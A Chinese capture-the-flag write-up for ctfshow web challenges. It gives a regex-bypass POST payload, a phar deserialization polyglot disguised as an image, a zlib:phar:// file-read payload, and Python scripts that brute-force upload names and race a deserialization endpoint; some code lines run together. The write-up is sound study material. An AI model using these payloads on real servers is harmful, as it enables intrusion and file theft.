ctfshow 大吉大利杯
创始人
2024-03-29 14:20:11

veryphp

看着思路很简单,就是利用post传参和extract函数来给需要的参数赋值,再利用call_user_func调用qwq中的oao静态方法。

感觉最麻烦的就是

preg_match('/^\-[a-e][^a-zA-Z0-8](.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)

这个正则函数的绕过,传入的一串字符串需要匹配上。

在线网站:regex101: build, test, and debug regex

尝试了一会后得到一串字符:

-a911111111>>>>aabcphp@Rr2

然后还要绕过_,可以用空格或者[替代。

POST传入:shaw[root=-a911111111>>>>aabcphp@Rr2

得到

md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

很明显SecretNumber是一个长度为5的数字,爆破出来就好:

if(md5("shaw".($i)."root")=='166b47a5cb1ca2431a0edfcef200684f'){echo $i;}
}

最后的payload:

shaw[root=-a911111111>>>>aabcphp@Rr2&ans=21475&my[ans=qwq::oao

image-20221208161413441

虎山行

这个题出的有意思,写了好一会。

先访问www.rar下载源码。

Seay自动审计一下,发现33处有问题,一个一个看一下。

image-20221208161745296

在这个地方参数完全可控,后缀也没有.dat,存在任意文件读取漏洞。

访问一下,但没成功,应该是需要成为管理员。

在install.php中发现管理员信息

image-20221208162134986

然后利用漏洞读取一下flag

image-20221208162317866

访问一下ctfshowsecretfilehh

image-20221208162417010

image-20221208162622923

之前看到过文件上传页面,可以上传jpg、png、gif文件,所以可以利用phar反序列化来得到hint.txt。

public $ctfer = 'shower';
}$a=new Ctfshow();$phar = new Phar('phar.phar');$phar->setStub('GIF89a'.'');$phar->setMetadata($a);$phar->addFromString('test.txt','dky');
?>

然后改后缀为jpg,上传文件,但发现其并不回显文件名称,且文件名称被修改,所以去读取一下flag.php文件。

if ($_FILES["file"]["error"] > 0){echo "文件出错: " . $_FILES["file"]["error"] . "
";}else{if (file_exists("upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在。 ";}else{$md5_unix_random =substr(md5(time()),0,8);$filename = $md5_unix_random.'.'.$extension;move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);echo "上传成功,文件存在upload/";}} } else {echo "文件类型仅支持jpg、png、gif等图片格式"; } ?>

写个文件上传脚本。

import requests
import time
import hashlib
def geturl(s):a = hashlib.md5(str(int(s)).encode()).hexdigest()filename = a[:8]return "http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload/"+filename+'.jpg'
for i in range(50):url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload.php"files={'file':('phar.jpg',open('phar.jpg','rb'),'image/jpeg')}re1=requests.post(url,files=files)a=time.time()re2=requests.get(geturl(a))if("我的网站" not in  re2.text):print(geturl(a))break

然后利用phar伪协议读取文件,利用zlib://协议绕过waf:

payload:

?file=zlib:phar:///var/www/html/upload/017ea83e.jpg

又是一个路由:

flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory
public $username='Firebasky';public $password;function __destruct() {if($this->username=='ctfshow'&&$this->password==(int)md5(time())){system('cp /ctfshow* /var/www/html/flag.txt');}}
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

利用条件竞争,在其system命令执行之前访问flag.txt文件,这次有了unserialize函数,不需要再上传文件。

import io
import requests
import threading
def write():while True:url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/ctfshowgetflaghhhh/"resp = requests.get(url+'?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}')
def read():while True:r=requests.get('http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/flag.txt')if("我的网站" not in r.text):print(r.text)print('success!!!')event.clear()break;else:print("[+++++++++++++]retry")
if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in range(1,20): threading.Thread(target=write,args=()).start()for i in range(1,20):threading.Thread(target=read,args=()).start()event.set()

spaceman

非预期了,先看源码:

public $username;public $password;public function __construct($username,$password){$this->username = $username;$this->password = $password;}public function __wakeup(){if($this->password==='ctfshowvip'){include("flag.php");echo $flag;    }else{echo 'wrong password';}}
}
function filter($string){return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            die("I am sorry but you have to leave.");
}else{extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

本来这题应该是还有另外一个参数,利用这两个可控参数去字符逃逸,本想本地修改一下再做,但本地extract代码一直无法实现。

paylaod:

user name=1&pass word=ctfshowvip

虎山行’s revenge

改了个名字,直接还用之前的脚本即可。

import requests
import time
import hashlib
def geturl(s):a = hashlib.md5(str(int(s)).encode()).hexdigest()filename = a[:8]return "http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload/"+filename+'.jpg'
for i in range(50):url="http://d1166e35-8694-4820-a76b-c89ebbd7b475.challenge.ctf.show/upload.php"files={'file':('phar.jpg',open('phar.jpg','rb'),'image/jpeg')}re1=requests.post(url,files=files)a=time.time()re2=requests.get(geturl(a))if("我的网站" not in  re2.text):print(geturl(a))break

payload:

?file=zlib:phar:///var/www/html/upload/f815a59f.jpg
import io
import requests
import threading
def write():while True:url="http://8722968c-5302-4bdf-863b-5ece18eddf38.challenge.ctf.show/hsxctfshowsecretgetflagl/"resp = requests.get(url+'?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}')
def read():while True:r=requests.get('http://8722968c-5302-4bdf-863b-5ece18eddf38.challenge.ctf.show/flag.txt')if("我的网站" not in r.text):print(r.text)print('success!!!')event.clear()break;else:print("[+++++++++++++]retry")
if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in range(1,20): threading.Thread(target=write,args=()).start()for i in range(1,20):threading.Thread(target=read,args=()).start()event.set()

相关内容

热门资讯

埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
demo什么意思 demo版本... 618快到了,各位的小金库大概也在准备开闸放水了吧。没有小金库的,也该向老婆撒娇卖萌服个软了,一切只...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
demo什么意思 demo版本... 618快到了,各位的小金库大概也在准备开闸放水了吧。没有小金库的,也该向老婆撒娇卖萌服个软了,一切只...